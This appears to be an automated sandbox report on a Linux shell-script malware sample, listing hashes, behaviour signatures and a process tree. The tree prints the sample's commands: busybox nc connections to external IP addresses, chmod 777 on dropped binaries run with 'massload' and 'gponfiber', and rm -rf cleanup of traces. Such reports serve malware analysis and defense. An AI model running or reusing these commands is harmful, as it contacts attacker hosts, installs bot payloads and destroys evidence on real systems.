Analysis

  • max time kernel
    1s
  • max time network
    2s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    13/09/2026, 16:50

General

  • Target
    a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_offset-manipulation.sh
  • Size 832KB
  • Sample260913-vclrbazfre
  • SHA256 3ba6234fdfad3ef182230730b2ad0278d88c113fa1fbe521680fd2f5be7555d5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_offset-manipulation.sh
    /tmp/a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_offset-manipulation.sh
    1⤵
    • Executes dropped EXE
    • System Network Configuration Discovery
    • Writes file to tmp directory
    PID:647
    • /bin/rm
      rm -rf me.apk help
      2⤵
        PID:668
      • /bin/busybox
        busybox nc 160.22.79.29 443
        2⤵
          PID:671
        • /bin/busybox
          busybox nc 192.206.117.19 443
          2⤵
            PID:684
          • /bin/chmod
            chmod 777 instd
            2⤵
            • File and Directory Permissions Modification
            PID:685
          • /tmp/instd
            ./instd massload
            2⤵
              PID:686
            • /bin/busybox
              busybox nc 160.22.79.29 6767
              2⤵
                PID:689
              • /bin/chmod
                chmod 777 inst
                2⤵
                • File and Directory Permissions Modification
                PID:692
              • /tmp/inst
                ./inst gponfiber
                2⤵
                  PID:693
                • /bin/rm
                  rm -rf a94f8a04854eba70645d92176a8f1d5e7423f3d92fef3ad721e01e594b3cc535_offset-manipulation.sh inst instd me.apk systemd-private-fad278514d6b4e6badce1c5d6dde6c90-systemd-timedated.service-HgL0m1
                  2⤵
                  • System Network Configuration Discovery
                  PID:703

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    sh-thd.trSey7

                    • Path /tmp/sh-thd.trSey7
                    • Size 827KB
                    • SHA256 2d9d9609b98fe1ea8fd588a7b264fa84bf4160c35d192a6571591e69c6e4a60c
                    • MD5 SHA1 SHA512 SSDEEP TLSH